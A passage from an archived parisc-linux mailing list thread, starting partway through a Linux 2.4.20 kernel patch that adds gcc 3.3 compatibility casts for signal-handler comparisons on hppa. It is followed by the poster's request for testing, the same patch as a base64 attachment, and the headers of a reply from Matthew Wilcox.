@@ -1,7 +1,7 @@
 VERSION = 2
 PATCHLEVEL = 4
 SUBLEVEL = 20
-EXTRAVERSION = -pa32
+EXTRAVERSION = -pa33
 
 KERNELRELEASE=$(VERSION).$(PATCHLEVEL).$(SUBLEVEL)$(EXTRAVERSION)
 
diff -Naur linux-2.4.20-pa32/arch/parisc/kernel/signal.c linux-2.4.20-pa32-gcc33/arch/parisc/kernel/signal.c
--- linux-2.4.20-pa32/arch/parisc/kernel/signal.c	2003-03-21 10:54:23.000000000
+0100
+++ linux-2.4.20-pa32-gcc33/arch/parisc/kernel/signal.c	2003-03-21 12:39:20.000000000
+0100
@@ -489,7 +489,11 @@
 		ka = &current->sig->action[signr-1];
 		DBG(("sa_handler is %x\n", 
 			(unsigned int) ka->sa.sa_handler));
+#if !defined (__LP64__) && ((__GNUC__ > 3) || (__GNUC__ == 3 && __GNUC_MINOR__
>= 1))
+		if (ka->sa.sa_handler == (void *)SIG_IGN) {
+#else
 		if (ka->sa.sa_handler == SIG_IGN) {
+#endif
 			if (signr != SIGCHLD)
 				continue;
 			while (sys_wait4(-1, NULL, WNOHANG, NULL) > 0)
@@ -497,7 +501,11 @@
 			continue;
 		}
 
+#if !defined (__LP64__) && ((__GNUC__ > 3) || (__GNUC__ == 3 && __GNUC_MINOR__
>= 1))
+		if (ka->sa.sa_handler == (void *)SIG_DFL) {
+#else
 		if (ka->sa.sa_handler == SIG_DFL) {
+#endif
 			int exit_code = signr;
 
 			/* Init gets no signals it doesn't want.  */
diff -Naur linux-2.4.20-pa32/drivers/char/n_tty.c linux-2.4.20-pa32-gcc33/drivers/char/n_tty.c
--- linux-2.4.20-pa32/drivers/char/n_tty.c	2003-03-21 10:51:30.000000000
+0100
+++ linux-2.4.20-pa32-gcc33/drivers/char/n_tty.c	2003-03-21 12:34:35.000000000
+0100
@@ -810,7 +810,11 @@
 int is_ignored(int sig)
 {
 	return (sigismember(&current->blocked, sig) ||
+#if defined (__hppa__) && !defined (__LP64__) && ((__GNUC__ > 3) || (__GNUC__
== 3 && __GNUC_MINOR__ >= 1))
+	        current->sig->action[sig-1].sa.sa_handler == (void *)SIG_IGN);
+#else
 	        current->sig->action[sig-1].sa.sa_handler == SIG_IGN);
+#endif
 }
 
 static void n_tty_set_termios(struct tty_struct *tty, struct termios * old)
diff -Naur linux-2.4.20-pa32/fs/ncpfs/sock.c linux-2.4.20-pa32-gcc33/fs/ncpfs/sock.c
--- linux-2.4.20-pa32/fs/ncpfs/sock.c	2003-03-21 10:36:05.000000000 +0100
+++ linux-2.4.20-pa32-gcc33/fs/ncpfs/sock.c	2003-03-21 12:35:37.000000000
+0100
@@ -466,9 +466,17 @@
 			   What if we've blocked it ourselves?  What about
 			   alarms?  Why, in fact, are we mucking with the
 			   sigmask at all? -- r~ */
+#if defined (__hppa__) && !defined (__LP64__) && ((__GNUC__ > 3) || (__GNUC__
== 3 && __GNUC_MINOR__ >= 1))
+			if (current->sig->action[SIGINT - 1].sa.sa_handler == (void *)SIG_DFL)
+#else
 			if (current->sig->action[SIGINT - 1].sa.sa_handler == SIG_DFL)
+#endif
 				mask |= sigmask(SIGINT);
+#if defined (__hppa__) && !defined (__LP64__) && ((__GNUC__ > 3) || (__GNUC__
== 3 && __GNUC_MINOR__ >= 1))
+			if (current->sig->action[SIGQUIT - 1].sa.sa_handler == (void *)SIG_DFL)
+#else
 			if (current->sig->action[SIGQUIT - 1].sa.sa_handler == SIG_DFL)
+#endif
 				mask |= sigmask(SIGQUIT);
 		}
 		siginitsetinv(&current->blocked, mask);
diff -Naur linux-2.4.20-pa32/fs/proc/array.c linux-2.4.20-pa32-gcc33/fs/proc/array.c
--- linux-2.4.20-pa32/fs/proc/array.c	2003-03-21 10:01:18.000000000 +0100
+++ linux-2.4.20-pa32-gcc33/fs/proc/array.c	2003-03-21 12:36:44.000000000
+0100
@@ -231,9 +231,17 @@
 	if (p->sig) {
 		k = p->sig->action;
 		for (i = 1; i <= _NSIG; ++i, ++k) {
+#if defined (__hppa__) && !defined (__LP64__) && ((__GNUC__ > 3) || (__GNUC__
== 3 && __GNUC_MINOR__ >= 1))
+			if (k->sa.sa_handler == (void *)SIG_IGN)
+#else
 			if (k->sa.sa_handler == SIG_IGN)
+#endif
 				sigaddset(ign, i);
+#if defined (__hppa__) && !defined (__LP64__) && ((__GNUC__ > 3) || (__GNUC__
== 3 && __GNUC_MINOR__ >= 1))
+			else if (k->sa.sa_handler != (void *)SIG_DFL)
+#else
 			else if (k->sa.sa_handler != SIG_DFL)
+#endif
 				sigaddset(catch, i);
 		}
 	}
diff -Naur linux-2.4.20-pa32/include/linux/compiler.h linux-2.4.20-pa32-gcc33/include/linux/compiler.h
--- linux-2.4.20-pa32/include/linux/compiler.h	2003-03-21 12:31:39.000000000
+0100
+++ linux-2.4.20-pa32-gcc33/include/linux/compiler.h	2003-03-21 12:32:07.000000000
+0100
@@ -1,6 +1,12 @@
 #ifndef __LINUX_COMPILER_H
 #define __LINUX_COMPILER_H
 
+#if (__GNUC__ > 3) || (__GNUC__ == 3 && __GNUC_MINOR__ >= 1)
+#define inline		__inline__ __attribute__((always_inline))
+#define __inline__	__inline__ __attribute__((always_inline))
+#define __inline	__inline__ __attribute__((always_inline))
+#endif
+
 /* Somewhere in the middle of the GCC 2.96 development cycle, we implemented
    a mechanism by which the user can annotate likely branch directions and
    expect the blocks to be reordered appropriately.  Define __builtin_expect
diff -Naur linux-2.4.20-pa32/kernel/signal.c linux-2.4.20-pa32-gcc33/kernel/signal.c
--- linux-2.4.20-pa32/kernel/signal.c	2003-03-21 10:39:32.000000000 +0100
+++ linux-2.4.20-pa32-gcc33/kernel/signal.c	2003-03-21 12:37:40.000000000
+0100
@@ -126,7 +126,11 @@
 	int i;
 	struct k_sigaction *ka = &t->sig->action[0];
 	for (i = _NSIG ; i != 0 ; i--) {
+#if defined (__hppa__) && !defined (__LP64__) && ((__GNUC__ > 3) || (__GNUC__
== 3 && __GNUC_MINOR__ >= 1))
+		if (ka->sa.sa_handler != (void *)SIG_IGN)
+#else
 		if (ka->sa.sa_handler != SIG_IGN)
+#endif
 			ka->sa.sa_handler = SIG_DFL;
 		ka->sa.sa_flags = 0;
 		sigemptyset(&ka->sa.sa_mask);
@@ -572,7 +576,11 @@
 		return -ESRCH;
 	}
 
+#if defined (__hppa__) && !defined (__LP64__) && ((__GNUC__ > 3) || (__GNUC__
== 3 && __GNUC_MINOR__ >= 1))
+	if (t->sig->action[sig-1].sa.sa_handler == (void *)SIG_IGN)
+#else
 	if (t->sig->action[sig-1].sa.sa_handler == SIG_IGN)
+#endif
 		t->sig->action[sig-1].sa.sa_handler = SIG_DFL;
 	sigdelset(&t->blocked, sig);
 	recalc_sigpending(t);
@@ -1094,8 +1102,13 @@
 		 * the signal to be ignored.
 		 */
 
+#if defined (__hppa__) && !defined (__LP64__) && ((__GNUC__ > 3) || (__GNUC__
== 3 && __GNUC_MINOR__ >= 1))
+		if (k->sa.sa_handler == (void *)SIG_IGN
+		    || (k->sa.sa_handler == (void *)SIG_DFL
+#else
 		if (k->sa.sa_handler == SIG_IGN
 		    || (k->sa.sa_handler == SIG_DFL
+#endif
 			&& (sig == SIGCONT ||
 			    sig == SIGCHLD ||
 			    sig == SIGURG ||
diff -Naur linux-2.4.20-pa32/net/sunrpc/clnt.c linux-2.4.20-pa32-gcc33/net/sunrpc/clnt.c
--- linux-2.4.20-pa32/net/sunrpc/clnt.c	2003-03-21 10:46:28.000000000 +0100
+++ linux-2.4.20-pa32-gcc33/net/sunrpc/clnt.c	2003-03-21 12:38:07.000000000
+0100
@@ -209,9 +209,17 @@
 	/* Turn off various signals */
 	if (clnt->cl_intr) {
 		struct k_sigaction *action = current->sig->action;
+#if defined (__hppa__) && !defined (__LP64__) && ((__GNUC__ > 3) || (__GNUC__
== 3 && __GNUC_MINOR__ >= 1))
+		if (action[SIGINT-1].sa.sa_handler == (void *)SIG_DFL)
+#else
 		if (action[SIGINT-1].sa.sa_handler == SIG_DFL)
+#endif
 			sigallow |= sigmask(SIGINT);
+#if defined (__hppa__) && !defined (__LP64__) && ((__GNUC__ > 3) || (__GNUC__
== 3 && __GNUC_MINOR__ >= 1))
+		if (action[SIGQUIT-1].sa.sa_handler == (void *)SIG_DFL)
+#else
 		if (action[SIGQUIT-1].sa.sa_handler == SIG_DFL)
+#endif
 			sigallow |= sigmask(SIGQUIT);
 	}
 	spin_lock_irqsave(&current->sigmask_lock, irqflags);
=====

I could not be sure about __LP64__ condition because gcc-hppa62_3.3 do not
yet exist :(

Can some body else could test it more?

Joel

PS1: I hoppe it will stay just a temporary work-around; that is typical what
I hate: code depending of platform and more over compiler release :(

PS2: If I well understand the pa32 patch include the Alan patch concerning
ptrace vulnerability. Is there some simple mean to stress the solution on
hppa platform?

---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be



--========/3E689FC400004CD8/mail.tiscali.be
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="linux-2.4.20-pa32_gcc33.patch"

ZGlmZiAtTmF1ciBsaW51eC0yLjQuMjAtcGEzMi9NYWtlZmlsZSBsaW51eC0yLjQuMjAtcGEzMi1n
Y2MzMy9NYWtlZmlsZQotLS0gbGludXgtMi40LjIwLXBhMzIvTWFrZWZpbGUJMjAwMy0wMy0yMSAx
MjoxNzo0MS4wMDAwMDAwMDAgKzAxMDAKKysrIGxpbnV4LTIuNC4yMC1wYTMyLWdjYzMzL01ha2Vm
aWxlCTIwMDMtMDMtMjEgMTI6MTk6MDYuMDAwMDAwMDAwICswMTAwCkBAIC0xLDcgKzEsNyBAQAog
VkVSU0lPTiA9IDIKIFBBVENITEVWRUwgPSA0CiBTVUJMRVZFTCA9IDIwCi1FWFRSQVZFUlNJT04g
PSAtcGEzMgorRVhUUkFWRVJTSU9OID0gLXBhMzMKIAogS0VSTkVMUkVMRUFTRT0kKFZFUlNJT04p
LiQoUEFUQ0hMRVZFTCkuJChTVUJMRVZFTCkkKEVYVFJBVkVSU0lPTikKIApkaWZmIC1OYXVyIGxp
bnV4LTIuNC4yMC1wYTMyL2FyY2gvcGFyaXNjL2tlcm5lbC9zaWduYWwuYyBsaW51eC0yLjQuMjAt
cGEzMi1nY2MzMy9hcmNoL3BhcmlzYy9rZXJuZWwvc2lnbmFsLmMKLS0tIGxpbnV4LTIuNC4yMC1w
YTMyL2FyY2gvcGFyaXNjL2tlcm5lbC9zaWduYWwuYwkyMDAzLTAzLTIxIDEwOjU0OjIzLjAwMDAw
MDAwMCArMDEwMAorKysgbGludXgtMi40LjIwLXBhMzItZ2NjMzMvYXJjaC9wYXJpc2Mva2VybmVs
L3NpZ25hbC5jCTIwMDMtMDMtMjEgMTI6Mzk6MjAuMDAwMDAwMDAwICswMTAwCkBAIC00ODksNyAr
NDg5LDExIEBACiAJCWthID0gJmN1cnJlbnQtPnNpZy0+YWN0aW9uW3NpZ25yLTFdOwogCQlEQkco
KCJzYV9oYW5kbGVyIGlzICV4XG4iLCAKIAkJCSh1bnNpZ25lZCBpbnQpIGthLT5zYS5zYV9oYW5k
bGVyKSk7CisjaWYgIWRlZmluZWQgKF9fTFA2NF9fKSAmJiAoKF9fR05VQ19fID4gMykgfHwgKF9f
R05VQ19fID09IDMgJiYgX19HTlVDX01JTk9SX18gPj0gMSkpCisJCWlmIChrYS0+c2Euc2FfaGFu
ZGxlciA9PSAodm9pZCAqKVNJR19JR04pIHsKKyNlbHNlCiAJCWlmIChrYS0+c2Euc2FfaGFuZGxl
ciA9PSBTSUdfSUdOKSB7CisjZW5kaWYKIAkJCWlmIChzaWduciAhPSBTSUdDSExEKQogCQkJCWNv
bnRpbnVlOwogCQkJd2hpbGUgKHN5c193YWl0NCgtMSwgTlVMTCwgV05PSEFORywgTlVMTCkgPiAw
KQpAQCAtNDk3LDcgKzUwMSwxMSBAQAogCQkJY29udGludWU7CiAJCX0KIAorI2lmICFkZWZpbmVk
IChfX0xQNjRfXykgJiYgKChfX0dOVUNfXyA+IDMpIHx8IChfX0dOVUNfXyA9PSAzICYmIF9fR05V
Q19NSU5PUl9fID49IDEpKQorCQlpZiAoa2EtPnNhLnNhX2hhbmRsZXIgPT0gKHZvaWQgKilTSUdf
REZMKSB7CisjZWxzZQogCQlpZiAoa2EtPnNhLnNhX2hhbmRsZXIgPT0gU0lHX0RGTCkgeworI2Vu
ZGlmCiAJCQlpbnQgZXhpdF9jb2RlID0gc2lnbnI7CiAKIAkJCS8qIEluaXQgZ2V0cyBubyBzaWdu
YWxzIGl0IGRvZXNuJ3Qgd2FudC4gICovCmRpZmYgLU5hdXIgbGludXgtMi40LjIwLXBhMzIvZHJp
dmVycy9jaGFyL25fdHR5LmMgbGludXgtMi40LjIwLXBhMzItZ2NjMzMvZHJpdmVycy9jaGFyL25f
dHR5LmMKLS0tIGxpbnV4LTIuNC4yMC1wYTMyL2RyaXZlcnMvY2hhci9uX3R0eS5jCTIwMDMtMDMt
MjEgMTA6NTE6MzAuMDAwMDAwMDAwICswMTAwCisrKyBsaW51eC0yLjQuMjAtcGEzMi1nY2MzMy9k
cml2ZXJzL2NoYXIvbl90dHkuYwkyMDAzLTAzLTIxIDEyOjM0OjM1LjAwMDAwMDAwMCArMDEwMApA
QCAtODEwLDcgKzgxMCwxMSBAQAogaW50IGlzX2lnbm9yZWQoaW50IHNpZykKIHsKIAlyZXR1cm4g
KHNpZ2lzbWVtYmVyKCZjdXJyZW50LT5ibG9ja2VkLCBzaWcpIHx8CisjaWYgZGVmaW5lZCAoX19o
cHBhX18pICYmICFkZWZpbmVkIChfX0xQNjRfXykgJiYgKChfX0dOVUNfXyA+IDMpIHx8IChfX0dO
VUNfXyA9PSAzICYmIF9fR05VQ19NSU5PUl9fID49IDEpKQorCSAgICAgICAgY3VycmVudC0+c2ln
LT5hY3Rpb25bc2lnLTFdLnNhLnNhX2hhbmRsZXIgPT0gKHZvaWQgKilTSUdfSUdOKTsKKyNlbHNl
CiAJICAgICAgICBjdXJyZW50LT5zaWctPmFjdGlvbltzaWctMV0uc2Euc2FfaGFuZGxlciA9PSBT
SUdfSUdOKTsKKyNlbmRpZgogfQogCiBzdGF0aWMgdm9pZCBuX3R0eV9zZXRfdGVybWlvcyhzdHJ1
Y3QgdHR5X3N0cnVjdCAqdHR5LCBzdHJ1Y3QgdGVybWlvcyAqIG9sZCkKZGlmZiAtTmF1ciBsaW51
eC0yLjQuMjAtcGEzMi9mcy9uY3Bmcy9zb2NrLmMgbGludXgtMi40LjIwLXBhMzItZ2NjMzMvZnMv
bmNwZnMvc29jay5jCi0tLSBsaW51eC0yLjQuMjAtcGEzMi9mcy9uY3Bmcy9zb2NrLmMJMjAwMy0w
My0yMSAxMDozNjowNS4wMDAwMDAwMDAgKzAxMDAKKysrIGxpbnV4LTIuNC4yMC1wYTMyLWdjYzMz
L2ZzL25jcGZzL3NvY2suYwkyMDAzLTAzLTIxIDEyOjM1OjM3LjAwMDAwMDAwMCArMDEwMApAQCAt
NDY2LDkgKzQ2NiwxNyBAQAogCQkJICAgV2hhdCBpZiB3ZSd2ZSBibG9ja2VkIGl0IG91cnNlbHZl
cz8gIFdoYXQgYWJvdXQKIAkJCSAgIGFsYXJtcz8gIFdoeSwgaW4gZmFjdCwgYXJlIHdlIG11Y2tp
bmcgd2l0aCB0aGUKIAkJCSAgIHNpZ21hc2sgYXQgYWxsPyAtLSByfiAqLworI2lmIGRlZmluZWQg
KF9faHBwYV9fKSAmJiAhZGVmaW5lZCAoX19MUDY0X18pICYmICgoX19HTlVDX18gPiAzKSB8fCAo
X19HTlVDX18gPT0gMyAmJiBfX0dOVUNfTUlOT1JfXyA+PSAxKSkKKwkJCWlmIChjdXJyZW50LT5z
aWctPmFjdGlvbltTSUdJTlQgLSAxXS5zYS5zYV9oYW5kbGVyID09ICh2b2lkICopU0lHX0RGTCkK
KyNlbHNlCiAJCQlpZiAoY3VycmVudC0+c2lnLT5hY3Rpb25bU0lHSU5UIC0gMV0uc2Euc2FfaGFu
ZGxlciA9PSBTSUdfREZMKQorI2VuZGlmCiAJCQkJbWFzayB8PSBzaWdtYXNrKFNJR0lOVCk7Cisj
aWYgZGVmaW5lZCAoX19ocHBhX18pICYmICFkZWZpbmVkIChfX0xQNjRfXykgJiYgKChfX0dOVUNf
XyA+IDMpIHx8IChfX0dOVUNfXyA9PSAzICYmIF9fR05VQ19NSU5PUl9fID49IDEpKQorCQkJaWYg
KGN1cnJlbnQtPnNpZy0+YWN0aW9uW1NJR1FVSVQgLSAxXS5zYS5zYV9oYW5kbGVyID09ICh2b2lk
ICopU0lHX0RGTCkKKyNlbHNlCiAJCQlpZiAoY3VycmVudC0+c2lnLT5hY3Rpb25bU0lHUVVJVCAt
IDFdLnNhLnNhX2hhbmRsZXIgPT0gU0lHX0RGTCkKKyNlbmRpZgogCQkJCW1hc2sgfD0g
c2lnbWFzayhTSUdRVUlUKTsKIAkJfQogCQlzaWdpbml0c2V0aW52KCZjdXJyZW50LT5ibG9ja2Vk
LCBtYXNrKTsKZGlmZiAtTmF1ciBsaW51eC0yLjQuMjAtcGEzMi9mcy9wcm9jL2FycmF5LmMgbGlu
dXgtMi40LjIwLXBhMzItZ2NjMzMvZnMvcHJvYy9hcnJheS5jCi0tLSBsaW51eC0yLjQuMjAtcGEz
Mi9mcy9wcm9jL2FycmF5LmMJMjAwMy0wMy0yMSAxMDowMToxOC4wMDAwMDAwMDAgKzAxMDAKKysr
IGxpbnV4LTIuNC4yMC1wYTMyLWdjYzMzL2ZzL3Byb2MvYXJyYXkuYwkyMDAzLTAzLTIxIDEyOjM2
OjQ0LjAwMDAwMDAwMCArMDEwMApAQCAtMjMxLDkgKzIzMSwxNyBAQAogCWlmIChwLT5zaWcpIHsK
IAkJayA9IHAtPnNpZy0+YWN0aW9uOwogCQlmb3IgKGkgPSAxOyBpIDw9IF9OU0lHOyArK2ksICsr
aykgeworI2lmIGRlZmluZWQgKF9faHBwYV9fKSAmJiAhZGVmaW5lZCAoX19MUDY0X18pICYmICgo
X19HTlVDX18gPiAzKSB8fCAoX19HTlVDX18gPT0gMyAmJiBfX0dOVUNfTUlOT1JfXyA+PSAxKSkK
KwkJCWlmIChrLT5zYS5zYV9oYW5kbGVyID09ICh2b2lkICopU0lHX0lHTikKKyNlbHNlCiAJCQlp
ZiAoay0+c2Euc2FfaGFuZGxlciA9PSBTSUdfSUdOKQorI2VuZGlmCiAJCQkJc2lnYWRkc2V0KGln
biwgaSk7CisjaWYgZGVmaW5lZCAoX19ocHBhX18pICYmICFkZWZpbmVkIChfX0xQNjRfXykgJiYg
KChfX0dOVUNfXyA+IDMpIHx8IChfX0dOVUNfXyA9PSAzICYmIF9fR05VQ19NSU5PUl9fID49IDEp
KQorCQkJZWxzZSBpZiAoay0+c2Euc2FfaGFuZGxlciAhPSAodm9pZCAqKVNJR19ERkwpCisjZWxz
ZQogCQkJZWxzZSBpZiAoay0+c2Euc2FfaGFuZGxlciAhPSBTSUdfREZMKQorI2VuZGlmCiAJCQkJ
c2lnYWRkc2V0KGNhdGNoLCBpKTsKIAkJfQogCX0KZGlmZiAtTmF1ciBsaW51eC0yLjQuMjAtcGEz
Mi9pbmNsdWRlL2xpbnV4L2NvbXBpbGVyLmggbGludXgtMi40LjIwLXBhMzItZ2NjMzMvaW5jbHVk
ZS9saW51eC9jb21waWxlci5oCi0tLSBsaW51eC0yLjQuMjAtcGEzMi9pbmNsdWRlL2xpbnV4L2Nv
bXBpbGVyLmgJMjAwMy0wMy0yMSAxMjozMTozOS4wMDAwMDAwMDAgKzAxMDAKKysrIGxpbnV4LTIu
NC4yMC1wYTMyLWdjYzMzL2luY2x1ZGUvbGludXgvY29tcGlsZXIuaAkyMDAzLTAzLTIxIDEyOjMy
OjA3LjAwMDAwMDAwMCArMDEwMApAQCAtMSw2ICsxLDEyIEBACiAjaWZuZGVmIF9fTElOVVhfQ09N
UElMRVJfSAogI2RlZmluZSBfX0xJTlVYX0NPTVBJTEVSX0gKIAorI2lmIChfX0dOVUNfXyA+IDMp
IHx8IChfX0dOVUNfXyA9PSAzICYmIF9fR05VQ19NSU5PUl9fID49IDEpCisjZGVmaW5lIGlubGlu
ZQkJX19pbmxpbmVfXyBfX2F0dHJpYnV0ZV9fKChhbHdheXNfaW5saW5lKSkKKyNkZWZpbmUgX19p
bmxpbmVfXwlfX2lubGluZV9fIF9fYXR0cmlidXRlX18oKGFsd2F5c19pbmxpbmUpKQorI2RlZmlu
ZSBfX2lubGluZQlfX2lubGluZV9fIF9fYXR0cmlidXRlX18oKGFsd2F5c19pbmxpbmUpKQorI2Vu
ZGlmCisKIC8qIFNvbWV3aGVyZSBpbiB0aGUgbWlkZGxlIG9mIHRoZSBHQ0MgMi45NiBkZXZlbG9w
bWVudCBjeWNsZSwgd2UgaW1wbGVtZW50ZWQKICAgIGEgbWVjaGFuaXNtIGJ5IHdoaWNoIHRoZSB1
c2VyIGNhbiBhbm5vdGF0ZSBsaWtlbHkgYnJhbmNoIGRpcmVjdGlvbnMgYW5kCiAgICBleHBlY3Qg
dGhlIGJsb2NrcyB0byBiZSByZW9yZGVyZWQgYXBwcm9wcmlhdGVseS4gIERlZmluZSBfX2J1aWx0
aW5fZXhwZWN0CmRpZmYgLU5hdXIgbGludXgtMi40LjIwLXBhMzIva2VybmVsL3NpZ25hbC5jIGxp
bnV4LTIuNC4yMC1wYTMyLWdjYzMzL2tlcm5lbC9zaWduYWwuYwotLS0gbGludXgtMi40LjIwLXBh
MzIva2VybmVsL3NpZ25hbC5jCTIwMDMtMDMtMjEgMTA6Mzk6MzIuMDAwMDAwMDAwICswMTAwCisr
KyBsaW51eC0yLjQuMjAtcGEzMi1nY2MzMy9rZXJuZWwvc2lnbmFsLmMJMjAwMy0wMy0yMSAxMjoz
Nzo0MC4wMDAwMDAwMDAgKzAxMDAKQEAgLTEyNiw3ICsxMjYsMTEgQEAKIAlpbnQgaTsKIAlzdHJ1
Y3Qga19zaWdhY3Rpb24gKmthID0gJnQtPnNpZy0+YWN0aW9uWzBdOwogCWZvciAoaSA9IF9OU0lH
IDsgaSAhPSAwIDsgaS0tKSB7CisjaWYgZGVmaW5lZCAoX19ocHBhX18pICYmICFkZWZpbmVkIChf
X0xQNjRfXykgJiYgKChfX0dOVUNfXyA+IDMpIHx8IChfX0dOVUNfXyA9PSAzICYmIF9fR05VQ19N
SU5PUl9fID49IDEpKQorCQlpZiAoa2EtPnNhLnNhX2hhbmRsZXIgIT0gKHZvaWQgKilTSUdfSUdO
KQorI2Vsc2UKIAkJaWYgKGthLT5zYS5zYV9oYW5kbGVyICE9IFNJR19JR04pCisjZW5kaWYKIAkJ
CWthLT5zYS5zYV9oYW5kbGVyID0gU0lHX0RGTDsKIAkJa2EtPnNhLnNhX2ZsYWdzID0gMDsKIAkJ
c2lnZW1wdHlzZXQoJmthLT5zYS5zYV9tYXNrKTsKQEAgLTU3Miw3ICs1NzYsMTEgQEAKIAkJcmV0
dXJuIC1FU1JDSDsKIAl9CiAKKyNpZiBkZWZpbmVkIChfX2hwcGFfXykgJiYgIWRlZmluZWQgKF9f
TFA2NF9fKSAmJiAoKF9fR05VQ19fID4gMykgfHwgKF9fR05VQ19fID09IDMgJiYgX19HTlVDX01J
Tk9SX18gPj0gMSkpCisJaWYgKHQtPnNpZy0+YWN0aW9uW3NpZy0xXS5zYS5zYV9oYW5kbGVyID09
ICh2b2lkICopU0lHX0lHTikKKyNlbHNlCiAJaWYgKHQtPnNpZy0+YWN0aW9uW3NpZy0xXS5zYS5z
YV9oYW5kbGVyID09IFNJR19JR04pCisjZW5kaWYKIAkJdC0+c2lnLT5hY3Rpb25bc2lnLTFdLnNh
LnNhX2hhbmRsZXIgPSBTSUdfREZMOwogCXNpZ2RlbHNldCgmdC0+YmxvY2tlZCwgc2lnKTsKIAly
ZWNhbGNfc2lncGVuZGluZyh0KTsKQEAgLTEwOTQsOCArMTEwMiwxMyBAQAogCQkgKiB0aGUgc2ln
bmFsIHRvIGJlIGlnbm9yZWQuCiAJCSAqLwogCisjaWYgZGVmaW5lZCAoX19ocHBhX18pICYmICFk
ZWZpbmVkIChfX0xQNjRfXykgJiYgKChfX0dOVUNfXyA+IDMpIHx8IChfX0dOVUNfXyA9PSAzICYm
IF9fR05VQ19NSU5PUl9fID49IDEpKQorCQlpZiAoay0+c2Euc2FfaGFuZGxlciA9PSAodm9pZCAq
KVNJR19JR04KKwkJICAgIHx8IChrLT5zYS5zYV9oYW5kbGVyID09ICh2b2lkICopU0lHX0RGTAor
I2Vsc2UKIAkJaWYgKGstPnNhLnNhX2hhbmRsZXIgPT0gU0lHX0lHTgogCQkgICAgfHwg
KGstPnNhLnNhX2hhbmRsZXIgPT0gU0lHX0RGTAorI2VuZGlmCiAJCQkmJiAoc2lnID09IFNJR0NP
TlQgfHwKIAkJCSAgICBzaWcgPT0gU0lHQ0hMRCB8fAogCQkJICAgIHNpZyA9PSBTSUdVUkcgfHwK
ZGlmZiAtTmF1ciBsaW51eC0yLjQuMjAtcGEzMi9uZXQvc3VucnBjL2NsbnQuYyBsaW51eC0yLjQu
MjAtcGEzMi1nY2MzMy9uZXQvc3VucnBjL2NsbnQuYwotLS0gbGludXgtMi40LjIwLXBhMzIvbmV0
L3N1bnJwYy9jbG50LmMJMjAwMy0wMy0yMSAxMDo0NjoyOC4wMDAwMDAwMDAgKzAxMDAKKysrIGxp
bnV4LTIuNC4yMC1wYTMyLWdjYzMzL25ldC9zdW5ycGMvY2xudC5jCTIwMDMtMDMtMjEgMTI6Mzg6
MDcuMDAwMDAwMDAwICswMTAwCkBAIC0yMDksOSArMjA5LDE3IEBACiAJLyogVHVybiBvZmYgdmFy
aW91cyBzaWduYWxzICovCiAJaWYgKGNsbnQtPmNsX2ludHIpIHsKIAkJc3RydWN0IGtfc2lnYWN0
aW9uICphY3Rpb24gPSBjdXJyZW50LT5zaWctPmFjdGlvbjsKKyNpZiBkZWZpbmVkIChfX2hwcGFf
XykgJiYgIWRlZmluZWQgKF9fTFA2NF9fKSAmJiAoKF9fR05VQ19fID4gMykgfHwgKF9fR05VQ19f
ID09IDMgJiYgX19HTlVDX01JTk9SX18gPj0gMSkpCisJCWlmIChhY3Rpb25bU0lHSU5ULTFdLnNh
LnNhX2hhbmRsZXIgPT0gKHZvaWQgKilTSUdfREZMKQorI2Vsc2UKIAkJaWYgKGFjdGlvbltTSUdJ
TlQtMV0uc2Euc2FfaGFuZGxlciA9PSBTSUdfREZMKQorI2VuZGlmCiAJCQlzaWdhbGxvdyB8PSBz
aWdtYXNrKFNJR0lOVCk7CisjaWYgZGVmaW5lZCAoX19ocHBhX18pICYmICFkZWZpbmVkIChfX0xQ
NjRfXykgJiYgKChfX0dOVUNfXyA+IDMpIHx8IChfX0dOVUNfXyA9PSAzICYmIF9fR05VQ19NSU5P
Ul9fID49IDEpKQorCQlpZiAoYWN0aW9uW1NJR1FVSVQtMV0uc2Euc2FfaGFuZGxlciA9PSAodm9p
ZCAqKVNJR19ERkwpCisjZWxzZQogCQlpZiAoYWN0aW9uW1NJR1FVSVQtMV0uc2Euc2FfaGFuZGxl
ciA9PSBTSUdfREZMKQorI2VuZGlmCiAJCQlzaWdhbGxvdyB8PSBzaWdtYXNrKFNJR1FVSVQpOwog
CX0KIAlzcGluX2xvY2tfaXJxc2F2ZSgmY3VycmVudC0+c2lnbWFza19sb2NrLCBpcnFmbGFncyk7
Cg==

--========/3E689FC400004CD8/mail.tiscali.be--


From - Thu Nov 08 21:27:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcc-3.2 -> gcc-3.3 transition on hppa
Date: Fri, 21 Mar 2003 13:36:24 +0000
Lines: 23
Approved: news@gmane.org
Message-ID: <20030321133624.GK14520@parcelfarce.linux.theplanet.co.uk>
References: <200303201823.h2KINN1w007420@hiauly1.hia.nrc.ca> <3E689FC400004CD8@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622315 23481 80.91.229.3 (22 Nov 2014 02:11:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 21 06:36:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0FC1D4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Mar 2003 06:36:25 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 18wMh6-0005up-Tc; Fri, 21 Mar 2003 13:36:24 +0000
Content-Disposition: inline
In-Reply-To: <3E689FC400004CD8@ocpmta1.freegates.net>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
